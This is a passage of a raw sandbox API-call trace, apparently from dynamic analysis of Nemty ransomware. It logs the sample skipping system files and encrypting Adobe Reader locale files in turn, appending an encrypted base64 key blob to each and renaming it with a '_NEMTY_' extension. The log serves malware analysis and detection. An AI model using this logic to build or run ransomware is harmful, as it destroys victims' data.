lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0174.135] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0174.135] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DigSig.CZE", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0174.135] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DigSig.CZE", cchWideChar=10, lpMultiByteStr=0x653e918, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DigSig.CZE", lpUsedDefaultChar=0x0) returned 10 [0174.135] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0174.136] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0174.136] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0174.136] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0174.136] Sleep (dwMilliseconds=0x5) [0174.140] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1b7159d0, dwHighDateTime=0x1d561e8)) [0174.141] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1b7159d0, dwHighDateTime=0x1d561e8)) [0174.141] GetLastError () returned 0x0 [0174.141] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0174.141] GetLastError () returned 0x0 [0174.141] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0174.141] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0174.141] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0174.141] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0174.141] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0174.141] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0174.141] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0174.141] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e5dc | out: pszString="oQRIrvXllmbgQlKc0ttWkjhzv3nv088yliGOCGwjRbydptWKfAUhdMUM/ut0e8qv\r\nsADaxWQ+hO+8gClzs2rVVuMaX+lEhuX64a52Wbvk9dXRdyGQLV263lOIMkENouHs\r\nrPjras9M9kwD2XtvSxc9zOrf7iwBNj5iRaQ7f3OYUwtdV5pVEgoapiqV7H7JTDmz\r\n1evOgyt8PNpFH1n18NNI8da0gIDbbnM+ffykJcP6c7b/IyAJNcnTAjhTXb2VEbNt\r\nUf18XXLw/texjMF3mTqhjQ8amoDqn579hnFGHZRJqtklDxsVV1q5HPYqrysuOcWV\r\npI9+kR6zZ6sM0lwBwoulFQ==\r\n", pcchString=0x653e5dc) returned 1 [0174.141] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0174.141] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0174.141] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0174.141] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0174.141] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0174.141] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0174.141] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\DigSig.CZE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\cs_cz\\digsig.cze"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0174.141] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=122880) returned 1 [0174.142] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x19000) returned 0x6352c48 [0174.142] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0174.142] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x19000, lpOverlapped=0x0) returned 1 [0174.150] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0174.150] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x19000, lpOverlapped=0x0) returned 1 [0174.150] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0174.150] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=122880, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1e000 [0174.150] WriteFile (in: hFile=0x2e8, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0174.151] CloseHandle (hObject=0x2e8) returned 1 [0174.151] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0174.151] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0174.151] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0174.151] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0174.151] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0174.151] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0174.151] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0174.151] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63401b8 [0174.151] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0174.151] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0174.151] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\DigSig.CZE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\cs_cz\\digsig.cze"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\DigSig.CZE._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\cs_cz\\digsig.cze._nemty_kgobjgd_")) returned 1 [0174.151] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0174.151] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0174.151] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0174.151] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0174.151] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0174.151] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0174.151] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0174.151] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0174.152] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x83209c40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4600, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="DVA.CZE", cAlternateFileName="")) returned 1 [0174.152] lstrcmpiW (lpString1="DVA.CZE", lpString2=".") returned 1 [0174.152] lstrcmpiW (lpString1="DVA.CZE", lpString2="..") returned 1 [0174.152] lstrcmpiW (lpString1="DVA.CZE", lpString2="...") returned 1 [0174.152] lstrcmpiW (lpString1="DVA.CZE", lpString2="windows") returned -1 [0174.152] lstrcmpiW (lpString1="DVA.CZE", lpString2="$RECYCLE.BIN") returned 1 [0174.152] lstrcmpiW (lpString1="DVA.CZE", lpString2="rsa") returned -1 [0174.152] lstrcmpiW (lpString1="DVA.CZE", lpString2="NTDETECT.COM") returned -1 [0174.152] lstrcmpiW (lpString1="DVA.CZE", lpString2="ntldr") returned -1 [0174.152] lstrcmpiW (lpString1="DVA.CZE", lpString2="MSDOS.SYS") returned -1 [0174.152] lstrcmpiW (lpString1="DVA.CZE", lpString2="IO.SYS") returned -1 [0174.152] lstrcmpiW (lpString1="DVA.CZE", lpString2="boot.ini") returned 1 [0174.152] lstrcmpiW (lpString1="DVA.CZE", lpString2="boot.ini") returned 1 [0174.152] lstrcmpiW (lpString1="DVA.CZE", lpString2="AUTOEXEC.BAT") returned 1 [0174.152] lstrcmpiW (lpString1="DVA.CZE", lpString2="ntuser.dat") returned -1 [0174.152] lstrcmpiW (lpString1="DVA.CZE", lpString2="desktop.ini") returned 1 [0174.152] lstrcmpiW (lpString1="DVA.CZE", lpString2="CONFIG.SYS") returned 1 [0174.152] lstrcmpiW (lpString1="DVA.CZE", lpString2="RECYCLER") returned -1 [0174.152] lstrcmpiW (lpString1="DVA.CZE", lpString2="BOOTSECT.BAK") returned 1 [0174.152] lstrcmpiW (lpString1="DVA.CZE", lpString2="bootmgr") returned 1 [0174.152] lstrcmpiW (lpString1="DVA.CZE", lpString2="programdata") returned -1 [0174.152] lstrcmpiW (lpString1="DVA.CZE", lpString2="appdata") returned 1 [0174.152] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DVA.CZE", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0174.152] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DVA.CZE", cchWideChar=7, lpMultiByteStr=0x653e890, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DVA.CZE", lpUsedDefaultChar=0x0) returned 7 [0174.152] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DVA.CZE", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0174.152] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DVA.CZE", cchWideChar=7, lpMultiByteStr=0x653e890, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DVA.CZE", lpUsedDefaultChar=0x0) returned 7 [0174.152] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DVA.CZE", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0174.152] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DVA.CZE", cchWideChar=7, lpMultiByteStr=0x653e8e0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DVA.CZE", lpUsedDefaultChar=0x0) returned 7 [0174.152] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DVA.CZE", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0174.152] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DVA.CZE", cchWideChar=7, lpMultiByteStr=0x653e918, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DVA.CZE", lpUsedDefaultChar=0x0) returned 7 [0174.152] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0174.153] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0174.153] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0174.153] Sleep (dwMilliseconds=0x5) [0174.156] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1b73bb30, dwHighDateTime=0x1d561e8)) [0174.156] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1b73bb30, dwHighDateTime=0x1d561e8)) [0174.156] GetLastError () returned 0x0 [0174.156] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0174.156] GetLastError () returned 0x0 [0174.156] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0174.156] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0174.156] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0174.156] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0174.156] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0174.157] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0174.157] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0174.157] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e5dc | out: pszString="BosJILTQLIi+Dp+q732h1DAC+sVF3tu0WtqWPNittAUxMFUa+VrhFEfqnqSXsxLz\r\npLdFZuDEoIwTqGmbXOjG7aTcn+FtadLswS0HtMmIevJhrnTc56UkKk71UOp8hlU4\r\nDHehwI+3fcazXaop50RhmNO4apHHsqRt+4dOXwoDFcz+FdBCpo3Pn7BICcFGbrt4\r\nKZuezo48a232fEsnZ9GeOezlR0ax4kkpi4OEkbUPn66C+NoEF/oip1eYN+kjeJus\r\nhDVeWc781lOXUAFX088Q8bzWFW6SFSw/xl66bqWxv44f/s4C8u9f/i81ynJfv1I3\r\nJ6N+KMafUfskeUaNjxgerw==\r\n", pcchString=0x653e5dc) returned 1 [0174.157] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0174.157] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0174.157] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0174.157] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0174.157] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0174.157] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0174.157] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\DVA.CZE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\cs_cz\\dva.cze"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0174.158] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=17920) returned 1 [0174.158] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x4600) returned 0x6352c48 [0174.158] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0174.158] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x4600, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x4600, lpOverlapped=0x0) returned 1 [0174.160] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0174.160] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x4600, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x4600, lpOverlapped=0x0) returned 1 [0174.160] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0174.160] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=17920, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x4600 [0174.160] WriteFile (in: hFile=0x2e8, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0174.161] CloseHandle (hObject=0x2e8) returned 1 [0174.161] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0174.161] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0174.161] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0174.161] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0174.161] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0174.161] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0174.161] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346fc0 [0174.161] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0174.161] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346fc0 | out: hHeap=0x4f90000) returned 1 [0174.161] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0174.161] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\DVA.CZE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\cs_cz\\dva.cze"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\DVA.CZE._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\cs_cz\\dva.cze._nemty_kgobjgd_")) returned 1 [0174.161] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0174.161] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0174.161] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0174.161] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0174.161] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0174.161] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0174.161] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0174.162] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0174.162] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8327c060, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1a00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="eBook.CZE", cAlternateFileName="")) returned 1 [0174.162] lstrcmpiW (lpString1="eBook.CZE", lpString2=".") returned 1 [0174.162] lstrcmpiW (lpString1="eBook.CZE", lpString2="..") returned 1 [0174.162] lstrcmpiW (lpString1="eBook.CZE", lpString2="...") returned 1 [0174.162] lstrcmpiW (lpString1="eBook.CZE", lpString2="windows") returned -1 [0174.162] lstrcmpiW (lpString1="eBook.CZE", lpString2="$RECYCLE.BIN") returned 1 [0174.162] lstrcmpiW (lpString1="eBook.CZE", lpString2="rsa") returned -1 [0174.162] lstrcmpiW (lpString1="eBook.CZE", lpString2="NTDETECT.COM") returned -1 [0174.162] lstrcmpiW (lpString1="eBook.CZE", lpString2="ntldr") returned -1 [0174.162] lstrcmpiW (lpString1="eBook.CZE", lpString2="MSDOS.SYS") returned -1 [0174.162] lstrcmpiW (lpString1="eBook.CZE", lpString2="IO.SYS") returned -1 [0174.162] lstrcmpiW (lpString1="eBook.CZE", lpString2="boot.ini") returned 1 [0174.162] lstrcmpiW (lpString1="eBook.CZE", lpString2="boot.ini") returned 1 [0174.162] lstrcmpiW (lpString1="eBook.CZE", lpString2="AUTOEXEC.BAT") returned 1 [0174.162] lstrcmpiW (lpString1="eBook.CZE", lpString2="ntuser.dat") returned -1 [0174.162] lstrcmpiW (lpString1="eBook.CZE", lpString2="desktop.ini") returned 1 [0174.162] lstrcmpiW (lpString1="eBook.CZE", lpString2="CONFIG.SYS") returned 1 [0174.162] lstrcmpiW (lpString1="eBook.CZE", lpString2="RECYCLER") returned -1 [0174.162] lstrcmpiW (lpString1="eBook.CZE", lpString2="BOOTSECT.BAK") returned 1 [0174.162] lstrcmpiW (lpString1="eBook.CZE", lpString2="bootmgr") returned 1 [0174.162] lstrcmpiW (lpString1="eBook.CZE", lpString2="programdata") returned -1 [0174.162] lstrcmpiW (lpString1="eBook.CZE", lpString2="appdata") returned 1 [0174.162] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0174.162] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eBook.CZE", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0174.162] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eBook.CZE", cchWideChar=9, lpMultiByteStr=0x653e890, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eBook.CZE", lpUsedDefaultChar=0x0) returned 9 [0174.162] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0174.162] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eBook.CZE", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0174.162] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eBook.CZE", cchWideChar=9, lpMultiByteStr=0x653e890, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eBook.CZE", lpUsedDefaultChar=0x0) returned 9 [0174.162] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0174.162] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0174.162] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0174.162] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eBook.CZE", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0174.163] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eBook.CZE", cchWideChar=9, lpMultiByteStr=0x653e8e0, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eBook.CZE", lpUsedDefaultChar=0x0) returned 9 [0174.163] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0174.163] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 